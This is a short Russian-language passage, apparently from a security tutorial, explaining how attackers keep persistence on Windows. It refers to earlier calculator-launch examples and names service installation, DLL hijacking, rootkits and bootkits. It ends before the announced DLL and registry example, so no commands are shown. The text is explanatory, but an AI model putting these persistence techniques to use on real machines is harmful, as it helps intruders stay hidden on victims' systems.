В результате вышеперечисленных команд приложение калькулятора запускается для текущего пользователя или для всех пользователей, вошедших в систему.
Хотя представленные примеры не являются расширенными и могут быть легко обнаружены опытным пользователем компьютера или системным администратором, часто злоумышленники используют более изощренные подходы для развертывания персистентности.Вот несколько примеров: установка службы, перехват DLL, руткиты, буткиты и т. Д. В качестве примера более изощренного способа сохранения постоянства можно назвать загрузку библиотеки DLL на компьютер жертвы и создание специального раздела реестра, как показано ниже.